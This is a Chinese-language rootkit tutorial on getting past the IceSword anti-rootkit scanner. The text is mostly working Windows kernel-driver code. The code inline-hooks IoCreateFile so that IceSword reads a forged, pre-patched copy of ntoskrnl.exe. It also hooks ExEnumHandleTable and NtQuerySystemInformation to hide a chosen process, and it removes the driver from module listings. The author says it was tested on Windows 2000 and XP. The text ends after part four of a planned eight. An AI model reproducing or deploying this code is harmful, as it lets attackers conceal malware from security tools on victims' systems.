利用伪造内核文件来绕过IceSword的检测
文章分为八个部分:
一、为什么需要伪造内核
二、伪造内核文件
三、隐藏进程
四、隐藏内核模块
五、隐藏服务
六、隐藏注册表
七、隐藏文件
八、关于端口
另:建议先看看最后那些参考文章。
一、为什么需要伪造内核:
IceSword(以下简称IS)为了防止一些关键系统函数(包括所有服务中断表中的函数以及IS驱动部分要使用到的一些关键函数)被 patch,它直接读取内核文件(以下简称“ntoskrnl . exe”),然后自己分析ntoskrnl . exe的PE结构来获取关键系统函数的原始代码并且把当前内核中所有的关键系统函数还原为windows默认状态,这样保证了IS使用到的函数不被patch过。也许你会想如果我们把还原后的函数再进行patch不还是能躲的过去吗?笔者也试过,还专门写了ring0的Timer来不停的patch自己想hook的函数。结果IS棋高一筹,在对所有的关键系统函数进行还原以后,IS每次调用这些函数前都会先把这些函数还原一次。这样还是能保证IS自己使用到的关键系统函数不被patch。也许你还会想缩小Timer的时间间隔,以致于IS对这些函数进行还原后,这些函数马上又被我们patch,这样IS再调用这些函数时不还是执行了我们patch过的函数。这种想法粗略看起来可以,但你仔细一想就知道是不行的。
治病还是得治本,也许你想过不如直接修改ntoskrnl . exe文件内容,使得IS一开始读入的就已经是我们patch过得函数内容,这样不就躲过去了。这种想法有两个很大的副作用:
1 、在通常的默认情况下,windows的系统文件保护是打开的,要停止这种系统文件保护要付出很大的代价,有可能需要重启。
2 、就算你停止了系统文件保护,也成功修改了ntoskrnl . exe,但是你不能保证系统每次都能正常关机
假如系统非法关机重启,由于你还来未对ntoskrnl . exe进行还原,此时会发生什么情况我也就不多说了。
而伪造内核文件就很好的避免了上面谈的两大副作用。主要处理下面三个点:
1 、截获并修改IS打开ntoskrnl . exe消息,使它指向我要伪造的内核文件(假设为“otoskrnl . exe”)
2 、在内核文件中定位我们要修改的数据。
3 、隐藏我们伪造的“otoskrnl . exe” , 这点请看本文的第七部分。
二、 伪造内核文件:
先说一下本文hook函数的方式:
1 、取该函数起始地址的前六个字节内容保留在 unsigned char resume [ 6 ] 中。
2 、把构造的两条指令push xxxxxxxx(我们自己构造的函数地址) ret 保留到 unsigned char crackcode [ 6 ] (这两条指令刚好六个字节)中。
3 、把该函数起始址的 6 个字节替换成crackcode [ 6 ] 的内容。这样系统调用该函数时就会先跳到xxxxxxxx地址去执行我们构造的函数。
而我们构造的xxxxxxxx函数的主要结构如下:
1 、把我们hook的那个函数起始的前 6 个字节用resume [ 6 ] 内容进行还原。
2 、对传递的程序参数进行处理等。
3 、调用被还原后的函数。
4 、此时可以处理函数返回后的数据等。
5 、把还原后的那个函数的起始地址前 6 个字节再用crackcode [ 6 ] 内容进行替换。
6 、返回。
IS是通过IoCreateFile函数来打开ntoskrnl . exe,因此我们只要hook这个函数,并检查其打开的文件名,如果是打开 ntoskrnl . exe的话,我们把文件名替换成otoskrnl . exe再扔回去就OK了。这样所有针对于ntoskrnl . exe文件的操作都会指向otoskrnl . exe , 当然前提是你在进入驱动前记得先把ntoskrnl . exe在原目录下复制一份并命名为otoskrnl . exe。
关于我们要修改的数据在ntoskrnl . exe中偏移的算法也很简单,这里给出公式如下:
函数在中文件偏移=当前函数在内存中的地址 - 当前函数所在驱动模块的起始地址
举个例子来说,假设IoCreateFile在内核中的内存地址是 0x8056d1234 ,由于它是在内存中ntoskrnl . exe模块中,假设ntoskrnl . exe起始地址是 0x8045d000 。那么IoCreateFile在磁盘上的ntoskrnl . exe文件中的偏移就是 0x8056d123 - 0x8045d000 = 0x110123 了。
再进行详细点说明:假设你对IoCreateFile函数进行了patch,使得该函数起始地址的 6 前六节的数据XXXXXX变成了 YYYYYY。那么你只要打开otoskrnl . exe,把文件偏移调整到上面所说的 0x110123 处,在写入 6 个字节的数据YYYYYY。那么当IS 打开otoskrnl . exe的话,读出的数据就是YYYYYY了!
下面的代码实现两个功能,一个功能就是hook了IoCreateFile函数,使的所有指向ntoskrnl . exe的操作都指向 otoskrnl . exe。另外一个功能就是进行伪造内核(函数RepairNtosFile ( DWORD FunctionOffset , DWORD RepairDataPtr ) ),其中FunctionOffset参数内容就是我们要hook的函数在内存中的地址。RepairDataPtr是指向字符crackcode [ 6 ] 第一个字节的指针。主要功能就是先把要hook的函数地址在otoskrnl . exe文件中进行定位,然后再把 crackcode [ 6 ] 内容写进去。
代码
1. #include "ntddk.h"
2. #include "stdarg.h"
3. #include "stdio.h"
4. #include "ntiologc.h"
5. #include "string.h"
6.
7. #define DWORD unsigned long
8. #define WORD unsigned short
9. #define BOOL unsigned long
10.
11. PCWSTR NTOSKRNL = L "ntoskrnl.exe"
12.
13. unsigned char ResumCodeIoCreateFile [ 6 ];
14. unsigned char CrackCodeIoCreateFile [ 6 ];
15.
16. typedef NTSTATUS ( * IOCREATEFILE )(
17.
18. OUT PHANDLE FileHandle ,
19. IN ACCESS_MASK DesiredAccess ,
20. IN POBJECT_ATTRIBUTES ObjectAttributes ,
21. OUT PIO_STATUS_BLOCK IoStatusBlock ,
22. IN PLARGE_INTEGER AllocationSize OPTIONAL ,
23. IN ULONG FileAttributes ,
24. IN ULONG ShareAccess ,
25. IN ULONG Disposition ,
26. IN ULONG CreateOptions ,
27. IN PVOID EaBuffer OPTIONAL ,
28. IN ULONG EaLength ,
29. IN CREATE_FILE_TYPE CreateFileType ,
30. IN PVOID ExtraCreateParameters OPTIONAL ,
31. IN ULONG Options );
32.
33. IOCREATEFILE OldIoCreateFile ;
34.
35. DWORD GetFunctionAddr ( IN PCWSTR FunctionName )
36. {
37. UNICODE_STRING UniCodeFunctionName ;
38.
39. RtlInitUnicodeString ( & UniCodeFunctionName , FunctionName );
40. return ( DWORD ) MmGetSystemRoutineAddress ( & UniCodeFunctionName );
41.
42. }
43.
44. NTSTATUS RepairNtosFile ( DWORD FunctionOffset , DWORD RepairDataPtr )
45. {
46. NTSTATUS Status ;
47. HANDLE FileHandle ;
48. OBJECT_ATTRIBUTES FObject ;
49. IO_STATUS_BLOCK IOSB ;
50. UNICODE_STRING FileName ;
51. LARGE_INTEGER NtosFileOffset ;
52.
53. RtlInitUnicodeString (
54. & FileName ,
55. L "\\SystemRoot\\system32\\otoskrnl.exe" );
56.
57. InitializeObjectAttributes (
58. & FObject ,
59. & FileName ,
60. OBJ_KERNEL_HANDLE ,
61. NULL ,
62. NULL );
63. Status = ZwCreateFile (
64. & FileHandle ,
65. FILE_WRITE_DATA + FILE_WRITE_ATTRIBUTES + FILE_WRITE_EA ,
66. & FObject ,
67. & IOSB ,
68. NULL ,
69. FILE_ATTRIBUTE_NORMAL ,
70. 0 ,
71. FILE_OPEN ,
72. FILE_NON_DIRECTORY_FILE ,
73. NULL ,
74. 0
75. );
76. if ( Status != STATUS_SUCCESS )
77. {
78. return Status ;
79. }
80.
81. //下面计算出函数在otoskrnl.exe中的偏移,NtoskrnlBase就是
82. //Ntoskrnl.exe在内存中的起始地址,在第四部分隐藏内核模块
83. //时会提到它的获取方法。
84.
85. NtosFileOffset . QuadPart = FunctionOffset - NtoskrnlBase ;
86.
87. Status = ZwWriteFile (
88. FileHandle ,
89. NULL ,
90. NULL ,
91. NULL ,
92. & IOSB ,
93. ( unsigned char *) RepairDataPtr ,
94. 0x6 ,
95. & NtosFileOffset ,
96. NULL );
97. if ( Status != STATUS_SUCCESS )
98. {
99. return Status ;
100. }
101. Status = ZwClose ( FileHandle );
102. if ( Status != STATUS_SUCCESS )
103. {
104. return Status ;
105. }
106. return STATUS_SUCCESS ;
107.
108. }
109.
110. NTSTATUS NewIoCreateFile (
111.
112. OUT PHANDLE FileHandle ,
113. IN ACCESS_MASK DesiredAccess ,
114. IN POBJECT_ATTRIBUTES ObjectAttributes ,
115. OUT PIO_STATUS_BLOCK IoStatusBlock ,
116. IN PLARGE_INTEGER AllocationSize OPTIONAL ,
117. IN ULONG FileAttributes ,
118. IN ULONG ShareAccess ,
119. IN ULONG Disposition ,
120. IN ULONG CreateOptions ,
121. IN PVOID EaBuffer OPTIONAL ,
122. IN ULONG EaLength ,
123. IN CREATE_FILE_TYPE CreateFileType ,
124. IN PVOID ExtraCreateParameters OPTIONAL ,
125. IN ULONG Options )
126.
127. {
128. NTSTATUS Status ;
129. PCWSTR IsNtoskrnl = NULL ;
130. PCWSTR FileNameaddr = NULL ;
131.
132. _asm //对IoCreateFile函数进行还原
133. {
134. pushad
135. mov edi , OldIoCreateFile
136. mov eax , dword ptr ResumCodeIoCreateFile [ 0 ]
137. mov [ edi ], eax
138. mov ax , word ptr ResumCodeIoCreateFile [ 4 ]
139. mov [ edi + 4 ], ax
140. popad
141. }
142.
143.
144. _asm //获取要打开的文件名地址
145. {
146. pushad
147. mov edi , ObjectAttributes
148. mov eax , [ edi + 8 ]
149. mov edi , [ eax + 4 ]
150. mov FileNameaddr , edi
151. popad
152. }
153.
154. IsNtoskrnl = wcsstr ( FileNameaddr , NTOSKRNL ); //判断是否时打开ntoskrnl.exe
155.
156. if ( IsNtoskrnl != NULL )
157. {
158. _asm //是的话,则把ntoskrnl.exe替换成otoskrnl.exe
159. {
160. pushad
161. mov edi , IsNtoskrnl
162. mov [ edi ], 0x006F
163. popad
164. }
165. }
166.
167. Status = OldIoCreateFile (
168.
169. FileHandle ,
170. DesiredAccess ,
171. ObjectAttributes ,
172. IoStatusBlock ,
173. AllocationSize OPTIONAL ,
174. FileAttributes ,
175. ShareAccess ,
176. Disposition ,
177. CreateOptions ,
178. EaBuffer OPTIONAL ,
179. EaLength ,
180. CreateFileType ,
181. ExtraCreateParameters OPTIONAL ,
182. Options );
183.
184. _asm //把还原后的代码又替换成我们伪造的代码
185. {
186. pushad
187. mov edi , OldIoCreateFile
188. mov eax , dword ptr CrackCodeIoCreateFile [ 0 ]
189. mov [ edi ], eax
190. mov ax , word ptr CrackCodeIoCreateFile [ 4 ]
191. mov [ edi + 4 ], ax
192. popad
193. }
194. return Status ;
195.
196. }
197.
198.
199. NTSTATUS PatchIoCreateFile ()
200. {
201. NTSTATUS Status ;
202.
203. OldIoCreateFile = ( IOCREATEFILE ) GetFunctionAddr ( L "IoCreateFile" );
204.
205. if ( OldIoCreateFile == NULL )
206. {
207. DbgPrint ( "Get IoCreateFile Addr Error!!" );
208. return STATUS_DEVICE_CONFIGURATION_ERROR ;
209. }
210.
211. _asm //关中断
212. {
213. CLI
214. MOV EAX , CR0
215. AND EAX , NOT 10000H
216. MOV CR0 , EAX
217. }
218. _asm
219. {
220. pushad
221. //获取 IoCreateFile 函数的地址并保留该函数的起始六个字节
222. mov edi , OldIoCreateFile
223. mov eax , [ edi ]
224. mov dword ptr ResumCodeIoCreateFile [ 0 ], eax
225. mov ax , [ edi + 4 ]
226. mov word ptr ResumCodeIoCreateFile [ 4 ], ax
227.
228. //构造要替换的代码,使得系统调用函数时跳到我们构造的NewIoCreateFile去执行
229. mov byte ptr CrackCodeIoCreateFile [ 0 ], 0x68
230. lea edi , NewIoCreateFile
231. mov dword ptr CrackCodeIoCreateFile [ 1 ], edi
232. mov byte ptr CrackCodeIoCreateFile [ 5 ], 0xC3
233.
234. //把构造好的代码进心替换
235. mov edi , OldIoCreateFile
236. mov eax , dword ptr CrackCodeIoCreateFile [ 0 ]
237. mov dword ptr [ edi ], eax
238. mov ax , word ptr CrackCodeIoCreateFile [ 4 ]
239. mov word ptr [ edi + 4 ], ax
240. popad
241. }
242.
243. _asm //开中断
244. {
245. MOV EAX , CR0
246. OR EAX , 10000H
247. MOV CR0 , EAX
248. STI
249. }
250.
251. Status = RepairNtosFile (
252. ( DWORD ) OldIoCreateFile ,
253. ( DWORD )(& CrackCodeIoCreateFile ));
254.
255. return Status ;
256.
257. }
上面给出的代码中,有些是公共使用的部分,如:GetFunctionAddr () (用来获取函数地址)以及RepairNtosFile () (功能上文已经介绍)函数。为节省版面,在下面的代码中将直接对其进行引用,而不再贴出它们的代码。下面的代码将不会再include头文件。而是直接定义自己所使用到的变量。其中include的投文件与上面的代码相同,另外本文中所有的例子都没有给出Unloaded例程(浪费版面),自己看着写了另外,本文贴出的所有代码,除了第六部分代码只在XP下测试通过,其他代码均再 2K 及XP下测试并通过。笔者在写这些代码时虽然兼顾到了 2K3 ,但是笔者并没有在 2K3 中测试过这些代码。这些代码中夹杂了一些汇编指令。这些汇编指令产生主要有两种原因:一是当时的我认为某些东西用汇编指令来表示非常直观,如还原与替换函数代码那个部分。二是在分析一些数据时,由于眼前面对的是纯 16 进制的数据,于是也没多想咔咔就用汇编写了一个循环下来。如果给你阅读代码造成了不便,笔者在这表示歉意。
三、 隐藏进程
对付IS枚举进程ID的思路是这样的,hook系统函数ExEnumHandleTable,使它先运行我们指定的函数 NewExEnumHandleTable,在NewExEnumHandleTable函数中,我们先获取它的回调函数参数Callback所指向的函数地址,把它所指向的函数地址先放到OldCallback中,然后用我们构造的新的回调函数FilterCallback去替换掉原来的 Callback。这样该函数在执行回调函数时就会先调用我们给它的FilterCallback回调函数。在我们设计的FilterCallback 中,判断当前进程ID是否时我们要隐藏的进程ID,不是的话则把参数传给OldCallback去执行,如果是的话则直接 return 。这样就起到隐藏进程的作用。
以上是对付IS的,对于应付windows进程管理的方法,与sinister使用的方法大体相同,不过有些不同。sinister是通过比较进程名来确定自己要隐藏的进程。这种方法对于隐藏要启动两个和两个以上相同名字的进程比较可取,但问题是如果你只是要隐藏一个进程的话。那么这个方法就显得不完美了。完全可以通过直接比较进程ID来确定自己要隐藏的进程。建议不到不得以的时候尽量不要使用比较文件名的方法,太影响效率。
下面的代码中,GetProcessID () 函数是用来从注册表中读取要隐藏的进程ID,当然首先你要在注册表设置这个值。用注册表还是很方便的。
PatchExEnumHandleTable () 函数是通过hook系统函数ExEnumHandleTable函数实现在IS中隐藏目标进程,PatchNtQuerySystemInformation () 函数是通过hook系统函数NtQuerySystemInformation并通过比较进程ID的方法实现隐藏进程。
代码
1. HANDLE ProtectID ;
2. unsigned char ResumCodeExEnumHandleTable [ 6 ];
3. unsigned char CrackCodeExEnumHandleTable [ 6 ];
4. unsigned char ResumCodeNtQuerySystemInformation [ 6 ];
5. unsigned char CrackCodeNtQuerySystemInformation [ 6 ];
6.
7. typedef NTSTATUS (* NTQUERYSYSTEMINFORMATION )(
8.
9. IN ULONG SystemInformationClass ,
10. OUT PVOID SystemInformation ,
11. IN ULONG SystemInformationLength ,
12. OUT PULONG ReturnLength OPTIONAL );
13.
14. NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation ;
15.
16. typedef VOID (* EXENUMHANDLETABLE )
17. (
18. PULONG HandleTable ,
19. PVOID Callback ,
20. PVOID Param ,
21. PHANDLE Handle OPTIONAL
22. );
23.
24. EXENUMHANDLETABLE OldExEnumHandleTable ;
25.
26. typedef BOOL (* EXENUMHANDLETABLECALLBACK )
27. (
28. DWORD HANDLE_TALBE_ENTRY ,
29. DWORD PID ,
30. PVOID Param
31. );
32.
33. EXENUMHANDLETABLECALLBACK OldCallback ;
34.
35. NTSTATUS GetProcessID (
36. IN PUNICODE_STRING theRegistryPath
37. )
38. {
39. OBJECT_ATTRIBUTES ObjectAttributes ;
40. NTSTATUS Status ;
41.
42. HANDLE KeyHandle ;
43. PHANDLE Phandle ;
44. PKEY_VALUE_PARTIAL_INFORMATION valueInfoP ;
45. ULONG valueInfoLength , returnLength ;
46.
47. UNICODE_STRING UnicodeProcIDreg ;
48.
49.
50. InitializeObjectAttributes (
51. & ObjectAttributes ,
52. theRegistryPath ,
53. OBJ_CASE_INSENSITIVE ,
54. NULL ,
55. NULL );
56.
57. Status = ZwOpenKey (
58. & KeyHandle ,
59. KEY_ALL_ACCESS ,
60. & ObjectAttributes );
61.
62. if ( Status != STATUS_SUCCESS )
63. {
64. DbgPrint ( "ZwOpenKey Wrong\n" );
65. return STATUS_DEVICE_CONFIGURATION_ERROR ;
66. }
67.
68. RtlInitUnicodeString (
69. & UnicodeProcIDreg ,
70. L "ProcessID" );
71.
72. valueInfoLength = sizeof ( KEY_VALUE_PARTIAL_INFORMATION );
73.
74. valueInfoP = ( PKEY_VALUE_PARTIAL_INFORMATION ) ExAllocatePool (
75. NonPagedPool ,
76. valueInfoLength );
77. Status = ZwQueryValueKey (
78. KeyHandle ,
79. & UnicodeProcIDreg ,
80. KeyValuePartialInformation ,
81. valueInfoP ,
82. valueInfoLength ,
83. & returnLength );
84.
85. if ( Status != STATUS_SUCCESS )
86. {
87. DbgPrint ( "ZwOpenKey Wrong\n" );
88. return STATUS_DEVICE_CONFIGURATION_ERROR ;
89. }
90.
91. Phandle = ( PHANDLE )( valueInfoP -> Data );
92.
93. ProtectID = * Phandle ;
94.
95. ZwClose ( KeyHandle );
96.
97. return STATUS_SUCCESS ;
98.
99. }
100.
101. BOOL FilterCallback (
102. DWORD HANDLE_TALBE_ENTRY ,
103. DWORD PID ,
104. PVOID Param )
105. {
106.
107. if ( PID != ( DWORD ) ProtectID ) //判断是否是我们要隐藏的进程
108. {
109. return OldCallback (
110. HANDLE_TALBE_ENTRY ,
111. PID ,
112. Param );
113. }
114. else
115. {
116. return FALSE ; //是的话直接返回
117. }
118. }
119.
120. BOOL FilterCallback (
121. DWORD HANDLE_TALBE_ENTRY ,
122. DWORD PID ,
123. PVOID Param )
124. {
125.
126. if ( PID != ( DWORD ) ProtectID ) //判断是否是我们要隐藏的进程
127. {
128. return OldCallback (
129. HANDLE_TALBE_ENTRY ,
130. PID ,
131. Param );
132. }
133. else
134. {
135. return FALSE ; //是的话直接返回
136. }
137. }
138.
139.
140.
141. VOID NewExEnumHandleTable (
142. PULONG HandleTable ,
143. PVOID Callback ,
144. PVOID Param ,
145. PHANDLE Handle OPTIONAL )
146. {
147.
148. OldCallback = Callback ; //把Callback参数给OldCallback进行保留
149.
150. Callback = FilterCallback ; //用FilterCallback替换调原来的Callback
151.
152. _asm //还原
153. {
154. pushad
155. mov edi , OldExEnumHandleTable
156. mov eax , dword ptr ResumCodeExEnumHandleTable [ 0 ]
157. mov [ edi ], eax
158. mov ax , word ptr ResumCodeExEnumHandleTable [ 4 ]
159. mov [ edi + 4 ], ax
160. popad
161. }
162.
163. OldExEnumHandleTable (
164. HandleTable ,
165. Callback ,
166. Param ,
167. Handle OPTIONAL );
168. _asm //替换
169. {
170. pushad
171. mov edi , OldExEnumHandleTable
172. mov eax , dword ptr CrackCodeExEnumHandleTable [ 0 ]
173. mov [ edi ], eax
174. mov ax , word ptr CrackCodeExEnumHandleTable [ 4 ]
175. mov [ edi + 4 ], ax
176. popad
177. }
178. return ;
179. }
180.
181. NTSTATUS PatchExEnumHandleTable ()
182. {
183. NTSTATUS Status ;
184.
185. OldExEnumHandleTable = ( EXENUMHANDLETABLE ) GetFunctionAddr ( L "ExEnumHandleTable" );
186.
187. if ( OldExEnumHandleTable == NULL )
188. {
189. DbgPrint ( "Get ExEnumHandleTable Addr Error!!" );
190. return STATUS_DEVICE_CONFIGURATION_ERROR ;
191. }
192.
193. _asm //关中断
194. {
195. CLI
196. MOV EAX , CR0
197. AND EAX , NOT 10000H
198. MOV CR0 , EAX
199. }
200. _asm
201. {
202. pushad
203. //获取ExEnumHandleTable函数的地址并保留该函数的起始六个字节
204. mov edi , OldExEnumHandleTable
205. mov eax , [ edi ]
206. mov dword ptr ResumCodeExEnumHandleTable [ 0 ], eax
207. mov ax , [ edi + 4 ]
208. mov word ptr ResumCodeExEnumHandleTable [ 4 ], ax
209.
210. //构造要替换的代码,使得系统调用该函数时跳到我们构造的NewExEnumHandleTable去执行
211. mov byte ptr CrackCodeExEnumHandleTable [ 0 ], 0x68
212. lea edi , NewExEnumHandleTable
213. mov dword ptr CrackCodeExEnumHandleTable [ 1 ], edi
214. mov byte ptr CrackCodeExEnumHandleTable [ 5 ], 0xC3
215.
216. //把构造好的代码进心替换
217. mov edi , OldExEnumHandleTable
218. , mov eax , dword ptr CrackCodeExEnumHandleTable [ 0 ]
219. mov dword ptr [ edi ], eax
220. mov ax , word ptr CrackCodeExEnumHandleTable [ 4 ]
221. mov word ptr [ edi + 4 ], ax
222. popad
223. }
224.
225. _asm //开中断
226. {
227. MOV EAX , CR0
228. OR EAX , 10000H
229. MOV CR0 , EAX
230. STI
231. }
232.
233. Status = RepairNtosFile (
234. ( DWORD ) OldExEnumHandleTable ,
235. ( DWORD )(& CrackCodeExEnumHandleTable ) );
236.
237. return Status ;
238. }
239.
240. NTSTATUS NewNtQuerySystemInformation (
241.
242. IN ULONG SystemInformationClass ,
243. OUT PVOID SystemInformation ,
244. IN ULONG SystemInformationLength ,
245. OUT PULONG ReturnLength OPTIONAL )
246. {
247. NTSTATUS Status ;
248. DWORD Bprocess ;
249.
250. _asm
251. {
252. pushad
253. mov edi , OldNtQuerySystemInformation
254. mov eax , dword ptr ResumCodeNtQuerySystemInformation [ 0 ]
255. mov [ edi ], eax
256. mov ax , word ptr ResumCodeNtQuerySystemInformation [ 4 ]
257. mov [ edi + 4 ], ax
258. popad
259. }
260.
261. Status = OldNtQuerySystemInformation (
262. SystemInformationClass ,
263. SystemInformation ,
264. SystemInformationLength ,
265. ReturnLength OPTIONAL );
266. _asm
267. {
268. pushad
269. mov edi , OldNtQuerySystemInformation
270. mov eax , dword ptr CrackCodeNtQuerySystemInformation [ 0 ]
271. mov [ edi ], eax
272. mov ax , word ptr CrackCodeNtQuerySystemInformation [ 4 ]
273. mov [ edi + 4 ], ax
274. popad
275. }
276.
277. if ( Status != STATUS_SUCCESS || SystemInformationClass != 5 )
278. {
279. return Status ;
280. }
281.
282. _asm
283. {
284. pushad
285.
286. mov ecx , ProtectID
287. mov edi , SystemInformation
288.
289. ProcessListNEnd :
290. mov Bprocess , edi
291. mov eax , [ edi ]
292. test eax , eax
293. jz ProcessListEnd
294. add edi , eax
295.
296. mov eax , [ edi + 0x44 ]
297. cmp eax , ecx
298. jz FindOut
299. jmp ProcessListNEnd
300. FindOut :
301. mov ebx , [ edi ]
302. test ebx , ebx
303. jz listend
304. mov eax , Bprocess
305. mov edx , [ eax ]
306. add ebx , edx
307. mov [ eax ], ebx
308. jmp hideOK
309.
310. listend :
311. mov eax , Bprocess
312. mov [ eax ], 0
313. hideOK :
314.
315. ProcessListEnd :
316.
317. popad
318. }
319. return Status ;
320. }
321.
322.
323.
324.
325. NTSTATUS PatchNtQuerySystemInformation ()
326. {
327. NTSTATUS Status ;
328.
329. OldNtQuerySystemInformation = ( NTQUERYSYSTEMINFORMATION ) GetFunctionAddr ( L "NtQuerySystemInformation" );
330.
331. if ( OldNtQuerySystemInformation == NULL )
332. {
333. DbgPrint ( "Get NtQuerySystemInformation Addr Error!!" );
334. return STATUS_DEVICE_CONFIGURATION_ERROR ;
335. }
336.
337. _asm //关中断
338. {
339. CLI
340. MOV EAX , CR0
341. AND EAX , NOT 10000H
342. MOV CR0 , EAX
343. }
344. _asm
345. {
346. pushad
347. //获取 NtQuerySystemInformation 函数的地址并保留该函数的起始六个字节
348. mov edi , OldNtQuerySystemInformation
349. mov eax , [ edi ]
350. mov dword ptr ResumCodeNtQuerySystemInformation [ 0 ], eax
351. mov ax , [ edi + 4 ]
352. mov word ptr ResumCodeNtQuerySystemInformation [ 4 ], ax
353.
354. //构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtQuerySystemInformation去执行
355. mov byte ptr CrackCodeNtQuerySystemInformation [ 0 ], 0x68
356. lea edi , NewNtQuerySystemInformation
357. mov dword ptr CrackCodeNtQuerySystemInformation [ 1 ], edi
358. mov byte ptr CrackCodeNtQuerySystemInformation [ 5 ], 0xC3
359.
360. //把构造好的代码进心替换
361. mov edi , OldNtQuerySystemInformation
362. mov eax , dword ptr CrackCodeNtQuerySystemInformation [ 0 ]
363. mov dword ptr [ edi ], eax
364. mov ax , word ptr CrackCodeNtQuerySystemInformation [ 4 ]
365. mov word ptr [ edi + 4 ], ax
366. popad
367. }
368. _asm //开中断
369. {
370. MOV EAX , CR0
371. OR EAX , 10000H
372. MOV CR0 , EAX
373. STI
374. }
375. Status = RepairNtosFile (
376. ( DWORD ) OldNtQuerySystemInformation ,
377. ( DWORD )(& CrackCodeNtQuerySystemInformation ) );
378.
379. return Status ;
380.
381. }
四、隐藏内核模块
对于内核模块,我原以为IS会通过获取内核变量PsLoadedModuleList,然后在通过这个来遍历所有的内核模块。假设此时获得结果 1 。通过调用函数NtQuerySystemInformation,参数SystemModuleInformation,假设此时获得结果 2 。再把结果 1 与结果 2 进行比较,这样就会发现被隐藏的模块。但事实证明我想的太复杂了。而IS只进行了获取结果 2 的过程。而没有去执行获取结果 1 的过程。
下面的代码可以在IS下隐藏自己的内核模块,主要思路是,首先获取一个自己这个模块中任意函数的地址,把该地址给DriverAddr,利用 DriverAddr在上述的结果 2 中定位,通过DriverAddr肯定会大于自己这个模块的起始地址并且小于自己这个模块的结束地址来定位。
代码
1. DWORD DriverAddr ;
2. unsigned char ResumCodeNtQuerySystemInformation [ 6 ];
3. unsigned char CrackCodeNtQuerySystemInformation [ 6 ];
4. typedef NTSTATUS (* NTQUERYSYSTEMINFORMATION )(
5.
6. IN ULONG SystemInformationClass ,
7. OUT PVOID SystemInformation ,
8. IN ULONG SystemInformationLength ,
9. OUT PULONG ReturnLength OPTIONAL );
10.
11. NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation ;
12.
13. NTSTATUS NewNtQuerySystemInformation (
14.
15. IN ULONG SystemInformationClass ,
16. OUT PVOID SystemInformation ,
17. IN ULONG SystemInformationLength ,
18. OUT PULONG ReturnLength OPTIONAL )
19. {
20. NTSTATUS Status ;
21.
22. _asm //还原
23. {
24. pushad
25. mov edi , OldNtQuerySystemInformation
26. mov eax , dword ptr ResumCodeNtQuerySystemInformation [ 0 ]
27. mov [ edi ], eax
28. mov ax , word ptr ResumCodeNtQuerySystemInformation [ 4 ]
29. mov [ edi + 4 ], ax
30. popad
31. }
32.
33. Status = ZwQuerySystemInformation (
34. SystemInformationClass ,
35. SystemInformation ,
36. SystemInformationLength ,
37. ReturnLength OPTIONAL );
38. _asm //替换
39. {
40. pushad
41. mov edi , OldNtQuerySystemInformation
42. mov eax , dword ptr CrackCodeNtQuerySystemInformation [ 0 ]
43. mov [ edi ], eax
44. mov ax , word ptr CrackCodeNtQuerySystemInformation [ 4 ]
45. mov [ edi + 4 ], ax
46. popad
47. }
48.
49. if ( Status != STATUS_SUCCESS || SystemInformationClass != 0xb ) //是否是获取模块信息
50. {
51. return Status ;
52. }
53.
54. _asm
55. {
56. pushad
57.
58. mov edi , SystemInformation
59. mov ecx , [ edi ] //eax=模块数目
60. add edi , 0x4
61.
62. NextModuleInfo :
63.
64. mov eax , [ edi + 0x8 ]
65. mov edx , [ edi + 0xC ]
66.
67. add edx , eax
68. mov ebx , DriverAddr
69.
70. cmp ebx , eax
71. ja FirstMatch
72. dec ecx
73. test ecx , ecx
74. jz ArrayEnd
75.
76. add edi , 0x11c
77. jmp NextModuleInfo
78.
79. FirstMatch :
80. cmp ebx , edx
81. jb SecMatch //找到的话则跳去把该模块以后的模块数据前移已覆盖掉此模块
82.
83. dec ecx
84. test ecx , ecx
85. jz ArrayEnd
86. add edi , 0x11c
87. jmp NextModuleInfo
88. SecMatch :
89. dec ecx
90. xor eax , eax
91. mov ax , 0x11c
92. mul cx
93. xor ecx , ecx
94. mov ecx , eax
95. mov esi , edi
96. add esi , 0x11c
97. rep movsb
98. mov edi , SystemInformation
99. mov eax , [ edi ]
100. dec eax
101. mov [ edi ], eax //完成
102. ArrayEnd :
103. popad
104. }
105. return Status ;
106. }
107.
108. NTSTATUS PatchNtQuerySystemInformation ()
109. {
110. NTSTATUS Status ;
111.
112. OldNtQuerySystemInformation =( NTQUERYSYSTEMINFORMATION )( GetFunctionAddr ( L "NtQuerySystemInformation" ) );
113.
114. if ( OldNtQuerySystemInformation == NULL )
115. {
116. return STATUS_DEVICE_CONFIGURATION_ERROR ;
117. }
118.
119. _asm //关中断
120. {
121. CLI
122. MOV EAX , CR0
123. AND EAX , NOT 10000H
124. MOV CR0 , EAX
125. }
126.
127. _asm
128. {
129. pushad
130. //获取 NtQuerySystemInformation 函数的地址并保留该函数的起始六个字节
131.
132. lea eax , NewNtQuerySystemInformation
133. mov DriverAddr , eax //把NewNtQuerySystemInformation函数地址给DriverAddr
134.
135. mov edi , OldNtQuerySystemInformation
136. mov eax , [ edi ]
137. mov dword ptr ResumCodeNtQuerySystemInformation [ 0 ], eax
138. mov ax , [ edi + 4 ]
139. mov word ptr ResumCodeNtQuerySystemInformation [ 4 ], ax
140.
141. //构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtQuerySystemInformation去执行
142. mov byte ptr CrackCodeNtQuerySystemInformation [ 0 ], 0x68
143. lea edi , NewNtQuerySystemInformation
144. mov dword ptr CrackCodeNtQuerySystemInformation [ 1 ], edi
145. mov byte ptr CrackCodeNtQuerySystemInformation [ 5 ], 0xC3
146.
147. //把构造好的代码进行替换
148. mov edi , OldNtQuerySystemInformation
149. mov eax , dword ptr CrackCodeNtQuerySystemInformation [ 0 ]
150. mov dword ptr [ edi ], eax
151. mov ax , word ptr CrackCodeNtQuerySystemInformation [ 4 ]
152. mov word ptr [ edi + 4 ], ax
153. popad
154. }
155.
156. _asm //开中断
157. {
158. MOV EAX , CR0
159. OR EAX , 10000H
160. MOV CR0 , EAX
161. STI
162. }
163.
164. Status = RepairNtosFile (
165. ( DWORD ) OldNtQuerySystemInformation ,
166. ( DWORD )& CrackCodeNtQuerySystemInformation [ 0 ] );
167. return Status ;
168.
169. }
